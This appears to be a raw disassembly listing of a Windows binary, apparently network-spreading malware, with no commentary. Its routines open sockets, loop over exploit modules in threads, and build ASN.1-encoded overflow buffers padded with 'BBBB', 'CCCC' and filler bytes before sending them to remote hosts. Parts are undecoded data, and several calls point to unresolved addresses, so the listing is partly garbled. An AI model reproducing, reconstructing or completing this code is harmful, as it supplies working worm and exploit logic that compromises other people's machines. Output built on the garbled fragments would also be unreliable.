push [ebp+var_3C]
push edi
call sub_40C087
add esp, 14h
cmp eax, 1
jnz loc_40C31D
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40C271
push offset dword_4CD0C0
nop
call near ptr 77F7E21Fh
push [ebp+var_3C]
push edi
call dword_4CB000
push eax
lea eax, [ebp+var_28C]
push offset unk_431A4C
push eax
call sub_41B886
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40C253
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_40C247
lea eax, [ebp+var_140]
loc_40C247: ; CODE XREF: sub_40C124+11Bj
push eax
push [ebp+var_40]
call sub_409A72
add esp, 14h
loc_40C253: ; CODE XREF: sub_40C124+100j
lea eax, [ebp+var_28C]
push eax
call sub_4151AC
mov [esp+29Ch+var_29C], offset dword_4CD0C0
call near ptr 77F7E300h
nop
jmp loc_40C31D
; ---------------------------------------------------------------------------
loc_40C271: ; CODE XREF: sub_40C124+D0j
push edi
call dword_4CB000
push eax
lea eax, [ebp+var_208]
push eax
call sub_41B886
mov eax, [ebp+var_20]
pop ecx
shl eax, 6
pop ecx
add eax, offset aSym ; "sym"
push eax
lea eax, [ebp+var_178]
push eax
call sub_41B886
cmp [ebp+var_C0], 0
pop ecx
pop ecx
lea eax, [ebp+var_C0]
jnz short loc_40C2B6
lea eax, [ebp+var_140]
loc_40C2B6: ; CODE XREF: sub_40C124+18Aj
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_41B886
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
pop ecx
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
sub esp, 0BCh
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
push 2Fh
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_168], esi
mov [ebp+var_164], eax
lea esi, [ebp+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call off_43140C[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40C31D: ; CODE XREF: sub_40C124+C6j
; sub_40C124+148j
push 7D0h
call near ptr 2650E43h
nop
jmp loc_40C16B
; ---------------------------------------------------------------------------
loc_40C32D: ; CODE XREF: sub_40C124+55j
push esi
call sub_40B412
pop ecx
push 0
nop
call near ptr 26C0000h
loc_40C33C: ; DATA XREF: sub_401ACD+1F81o
; sub_401ACD+5C48o
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_4CAFB4
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_4CB0C0[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_40BACD
push 0Bh
call sub_40B33E
add esp, 150h
cmp eax, ebx
jnz short loc_40C40A
mov esi, offset dword_4CD0C0
push esi
nop
call near ptr 26C0774h
push 80000400h
push esi
nop
call near ptr 26C061Ah
test eax, eax
jnz short loc_40C40A
lea eax, [ebp+var_1CC]
push offset unk_431B58
push eax
call sub_41B886
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_40C3F4
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409A72
add esp, 14h
loc_40C3F4: ; CODE XREF: sub_40C124+2B1j
lea eax, [ebp+var_1CC]
push eax
call sub_4151AC
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40C40A: ; CODE XREF: sub_40C124+27Bj
; sub_40C124+297j
mov eax, [ebp+var_2C]
mov esi, dword_427078
mov edi, ebx
mov dword_4CB0C4[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_40C4D7
loc_40C428: ; CODE XREF: sub_40C124+3ADj
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_431B24
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_1CC]
push 0Bh
push eax
call sub_40B0F6
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_43DEB4[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40C124
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40C4A2
loc_40C497: ; CODE XREF: sub_40C124+37Cj
cmp [ebp+var_4], ebx
jnz short loc_40C4C9
push 1Eh
call esi
jmp short loc_40C497
; ---------------------------------------------------------------------------
loc_40C4A2: ; CODE XREF: sub_40C124+371j
nop
call near ptr 2660A00h
push eax
lea eax, [ebp+var_1CC]
push offset unk_431AEC
push eax
call sub_41B886
lea eax, [ebp+var_1CC]
push eax
call sub_4151AC
add esp, 10h
loc_40C4C9: ; CODE XREF: sub_40C124+376j
push 1Eh
call esi
inc edi
cmp edi, [ebp+var_20]
jbe loc_40C428
loc_40C4D7: ; CODE XREF: sub_40C124+2FEj
cmp [ebp+var_30], ebx
jz loc_40C581
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi
loc_40C4EC: ; CODE XREF: sub_40C124+468j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_4CB0C0[eax*8]
push eax
call dword_4CB000
push eax
lea eax, [ebp+var_1CC]
push offset unk_431AAC
push eax
call sub_41B886
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_40C53A
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409A72
add esp, 14h
loc_40C53A: ; CODE XREF: sub_40C124+3F7j
lea eax, [ebp+var_1CC]
push eax
call sub_4151AC
mov eax, [ebp+var_2C]
mov [esp+29Ch+var_29C], 0BB8h
mov dword_4CB0C4[eax*8], ebx
call esi
push 0Bh
call sub_40B33E
cmp eax, 1
pop ecx
jnz short loc_40C571
push offset dword_4CD0C0
nop
call near ptr 26C0774h
loc_40C571: ; CODE XREF: sub_40C124+440j
push [ebp+var_2C]
call sub_40B412
pop ecx
push ebx
nop
call near ptr 26C0000h
loc_40C581: ; CODE XREF: sub_40C124+3B6j
; sub_40C124+475j
mov eax, [ebp+var_2C]
cmp dword_4CB0C4[eax*8], 1
jnz loc_40C4EC
push 7D0h
call esi
jmp short loc_40C581
sub_40C124 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C59B proc near
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0BCh
mov eax, [ebp+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp+var_BC]
push 1
rep movsd
pop esi
mov [eax+0A8h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_38]
call dword_4CAF74
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_4CAFF4
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40C659
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4CAF1C
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_43DEBC[ecx], esi
jz short loc_40C659
push [ebp+var_38]
push [ebp+var_28]
call dword_4CB000
push eax
mov edi, offset dword_4CDA84
push offset dword_431B8C
push edi
call sub_41B886
push 0
lea eax, [ebp+var_B8]
push [ebp+var_20]
push edi
push eax
push [ebp+var_BC]
call sub_409A72
push edi
call sub_4151AC
add esp, 28h
loc_40C659: ; CODE XREF: sub_40C59B+5Dj
; sub_40C59B+7Ej
push esi
call dword_4CB00C
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40C59B endp
; ---------------------------------------------------------------------------
dword_40C668 dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
; DATA XREF: sub_401ACD+603Eo
dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h
dd 1, 75FFFF33h, 0E075FFD0h, 0B00015FFh, 8D50004Ch, 0FFFECC85h
dd 1BB468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh
dd 50000001h, 69DC458Bh, 234C0h, 0DCB00500h, 0E8500043h
dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
dd 40C59Bh, 11E85757h, 90022539h, 4589C73Bh, 390B74FCh
dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 0E8E890FCh, 0FF022341h
dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAE9Ch
dd 45895040h, 7015FF08h, 89004CAFh, 458D0845h, 50046A08h
dd 50E0458Dh, 0FBBFE8h, 0CC48300h, 0FFFF3DE9h
db 0FFh
byte_40C759 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5D4Eo
dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h
dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
dd 75FFD475h, 15FFE4h, 50004CB0h, 0FED0858Dh, 868FFFFh
dd 5000431Ch, 0F0E1E8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
dd 234C069h, 0B0050000h, 500043DCh, 0EE2BE8h, 1CC48300h
dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h, 90575700h
dd 25381FE8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
dd 0FFF5EBD6h, 0F8E80875h, 90022340h, 8CB3FFh, 0BB890000h
dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h
dd 75FFFFFFh, 15FFE4h, 50004CB0h, 0FED0858Dh, 0DC68FFFFh
dd 5000431Bh, 0F051E8h, 858D5700h, 0FFFFFED0h, 50EC75FFh
dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh
dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
db 4, 0
; =============== S U B R O U T I N E =======================================
sub_40C866 proc near ; CODE XREF: sub_40CADA+Ep
; sub_40CADA+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40C866 endp
; =============== S U B R O U T I N E =======================================
sub_40C870 proc near ; CODE XREF: sub_40CADA+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov esi, ecx
push ebx
call sub_41B4D5
mov edi, eax
pop ecx
test edi, edi
jz short loc_40C8A2
push ebx
push 0
push edi
call sub_41B590
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_41C310
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40C8A2: ; CODE XREF: sub_40C870+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40C870 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C8AA proc near ; CODE XREF: sub_40C9A4+18p
; sub_40CA1E+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
jz short loc_40C8F6
push edi
push 0
push esi
call sub_41B590
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_41C310
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41C310
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40C8F6: ; CODE XREF: sub_40C8AA+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40C8AA endp
; =============== S U B R O U T I N E =======================================
sub_40C8FF proc near ; CODE XREF: sub_40C9A4+5Ep
; sub_40C9A4+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40C90F
push eax
call sub_41B0B1
pop ecx
loc_40C90F: ; CODE XREF: sub_40C8FF+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40C8FF endp
; =============== S U B R O U T I N E =======================================
sub_40C918 proc near ; CODE XREF: sub_40C9A4+20p
; sub_40CA7F+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40C945
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax
call sub_41B4D5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40C949
loc_40C945: ; CODE XREF: sub_40C918+Dj
xor al, al
jmp short loc_40C9A0
; ---------------------------------------------------------------------------
loc_40C949: ; CODE XREF: sub_40C918+2Bj
mov eax, ebx
add eax, [esi+4]
push eax
push 0
push edi
call sub_41B590
add esp, 0Ch
cmp ebx, 1
jnz short loc_40C96E
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_40C988
; ---------------------------------------------------------------------------
loc_40C96E: ; CODE XREF: sub_40C918+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4]
lea eax, [edi+3]
push dword ptr [esi]
loc_40C988: ; CODE XREF: sub_40C918+54j
push eax
call sub_41C310
add esp, 0Ch
push dword ptr [esi]
call sub_41B0B1
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40C9A0: ; CODE XREF: sub_40C918+2Fj
pop edi
pop esi
pop ebx
retn
sub_40C918 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C9A4 proc near ; CODE XREF: sub_40CADA+89p
; sub_40CADA+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset dword_4CAE2C
call sub_40C8AA
lea ecx, [ebp+var_8]
call sub_40C918
mov eax, [ebp+var_4]
inc eax
push eax
call sub_41B4D5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40C9DE
xor al, al
jmp short loc_40CA1A
; ---------------------------------------------------------------------------
loc_40C9DE: ; CODE XREF: sub_40C9A4+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_41B590
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_41C310
add esp, 18h
mov ecx, esi
call sub_40C8FF
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_40C8FF
mov al, 1
loc_40CA1A: ; CODE XREF: sub_40C9A4+38j
pop edi
pop esi
leave
retn
sub_40C9A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA1E proc near ; CODE XREF: sub_40CA52+14p
; sub_40CA6F+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40C8AA
mov ecx, esi
call sub_40C8FF
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40CA1E endp
; =============== S U B R O U T I N E =======================================
sub_40CA52 proc near ; CODE XREF: sub_40CADA+F0p
; sub_40CADA+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41AFE0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40CA1E
pop esi
retn 4
sub_40CA52 endp
; =============== S U B R O U T I N E =======================================
sub_40CA6F proc near ; CODE XREF: sub_40CABB+Bp
; sub_40CADA+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40CA1E
retn 8
sub_40CA6F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA7F proc near ; CODE XREF: sub_40CABB+16p
; sub_40CADA+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40C918
test al, al
jz short loc_40CAB8
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push offset dword_42C8E8
call sub_40C8AA
mov ecx, esi
call sub_40C8FF
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40CAB8: ; CODE XREF: sub_40CA7F+Fj
pop esi
leave
retn
sub_40CA7F endp
; =============== S U B R O U T I N E =======================================
sub_40CABB proc near ; CODE XREF: sub_40CADA+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40CA6F
test al, al
jz short loc_40CAD6
mov ecx, esi
call sub_40CA7F
loc_40CAD6: ; CODE XREF: sub_40CABB+12j
pop esi
retn 8
sub_40CABB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CADA proc near ; CODE XREF: ___:0040D361p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40C866
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40CE2E
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40CE2E
push esi
lea ecx, [ebp+var_30]
call sub_40C866
lea ecx, [ebp+var_20]
call sub_40C866
lea ecx, [ebp+var_50]
call sub_40C866
lea ecx, [ebp+var_18]
call sub_40C866
lea ecx, [ebp+var_40]
call sub_40C866
lea ecx, [ebp+var_38]
call sub_40C866
lea ecx, [ebp+var_28]
call sub_40C866
push 4
push offset dword_431C40
lea ecx, [ebp+var_30]
call sub_40CA1E
push 3
push offset dword_431C48
lea ecx, [ebp+var_30]
call sub_40CA1E
lea ecx, [ebp+var_30]
call sub_40C9A4
lea ecx, [ebp+var_30]
call sub_40CA7F
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_41B590
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_40CA1E
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40CA1E
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40CA1E
lea ecx, [ebp+var_20]
call sub_40C9A4
push offset loc_431FC4
lea ecx, [ebp+var_50]
call sub_40CA52
lea ecx, [ebp+var_50]
call sub_40C9A4
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_40C870
lea ecx, [ebp+var_58]
call sub_40C9A4
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40CABB
lea ecx, [ebp+var_58]
call sub_40C8FF
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_41B590
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40CA52
push 4
push offset dword_431C4C
lea ecx, [ebp+var_18]
call sub_40CA1E
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40CA1E
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40CA1E
lea ecx, [ebp+var_18]
call sub_40C9A4
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40CA6F
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40CA6F
lea ecx, [ebp+var_40]
call sub_40CA7F
lea ecx, [ebp+var_18]
call sub_40C8FF
lea ecx, [ebp+var_50]
call sub_40C8FF
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40CA6F
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40CA6F
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40CA6F
lea ecx, [ebp+var_38]
call sub_40CA7F
lea ecx, [ebp+var_20]
call sub_40C8FF
lea ecx, [ebp+var_30]
call sub_40C8FF
lea ecx, [ebp+var_40]
call sub_40C8FF
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40CA1E
lea ecx, [ebp+var_28]
call sub_40C9A4
push 2
push offset dword_431FB8
lea ecx, [ebp+var_28]
call sub_40CA1E
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40CA6F
lea ecx, [ebp+var_28]
call sub_40CA7F
lea ecx, [ebp+var_38]
call sub_40C8FF
lea ecx, [ebp+var_10]
call sub_40C866
lea ecx, [ebp+var_8]
call sub_40C866
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40CA6F
lea ecx, [ebp+var_10]
call sub_40C918
lea ecx, [ebp+var_28]
call sub_40C8FF
push offset dword_431FB4
lea ecx, [ebp+var_8]
call sub_40CA52
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CA6F
lea ecx, [ebp+var_8]
call sub_40C918
lea ecx, [ebp+var_10]
call sub_40C8FF
push offset dword_431FB0
lea ecx, [ebp+var_10]
call sub_40CA52
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40CA6F
lea ecx, [ebp+var_10]
call sub_40C918
lea ecx, [ebp+var_8]
call sub_40C8FF
push offset dword_431FA4
lea ecx, [ebp+var_8]
call sub_40CA52
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CA6F
lea ecx, [ebp+var_8]
call sub_40C918
lea ecx, [ebp+var_10]
call sub_40C8FF
push (offset loc_431F9F+1)
lea ecx, [ebp+var_48]
call sub_40CA52
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40CA6F
lea ecx, [ebp+var_8]
call sub_40C8FF
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_40CE3C
; ---------------------------------------------------------------------------
loc_40CE2E: ; CODE XREF: sub_40CADA+1Bj
; sub_40CADA+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_40CE3C: ; CODE XREF: sub_40CADA+352j
pop edi
pop ebx
leave
retn
sub_40CADA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CE40 proc near ; CODE XREF: sub_40CF04+A1p
; sub_40CF04+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
nop
call near ptr 71AB1890h
cmp eax, edi
jnz short loc_40CEA7
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426756
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_40CEAB
loc_40CEA7: ; CODE XREF: sub_40CE40+54j
xor eax, eax
jmp short loc_40CEBB
; ---------------------------------------------------------------------------
loc_40CEAB: ; CODE XREF: sub_40CE40+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4CAF8C
loc_40CEBB: ; CODE XREF: sub_40CE40+69j
pop edi
pop esi
leave
retn
sub_40CE40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CEBF proc near ; CODE XREF: sub_40CF04+81p
; sub_40CF04+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_4CAF70
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_4CAFC4
cmp eax, 4
jz short loc_40CEE9
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40CEE9: ; CODE XREF: sub_40CEBF+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4CAFC4
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40CEBF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CF04 proc near ; CODE XREF: sub_40CFDE+48p
; ___:0040D452p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40CF2D
xor al, al
jmp loc_40CFD9
; ---------------------------------------------------------------------------
loc_40CF2D: ; CODE XREF: sub_40CF04+20j
push ebx
push 0
push esi
call sub_41B590
push 2Fh
push offset dword_431CDC
push esi
call sub_41C310
push 8
lea eax, [esi+31h]
push offset dword_431D0C
push eax
mov [esi+2Fh], di
call sub_41C310
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_41C310
push 6
add ebx, edi
push offset dword_4CDC8C
push ebx
call sub_41C310
mov ebx, [ebp+arg_0]
push 85h
push offset dword_431C54
push ebx
call sub_40CEBF
add esp, 48h
test al, al
jnz short loc_40CF95
loc_40CF91: ; CODE XREF: sub_40CF04+B5j
xor bl, bl
jmp short loc_40CFD0
; ---------------------------------------------------------------------------
loc_40CF95: ; CODE XREF: sub_40CF04+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40CE40
push [ebp+var_4]
push esi
push ebx
call sub_40CEBF
add esp, 1Ch
test al, al
jz short loc_40CF91
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40CE40
add esp, 10h
mov bl, 1
loc_40CFD0: ; CODE XREF: sub_40CF04+8Fj
push esi
call sub_41B0B1
pop ecx
mov al, bl
loc_40CFD9: ; CODE XREF: sub_40CF04+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40CF04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CFDE proc near ; CODE XREF: ___:0040D438p
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_431D18
push [ebp+arg_0]
nop
call near ptr 71AB1AF4h
cmp eax, 48h
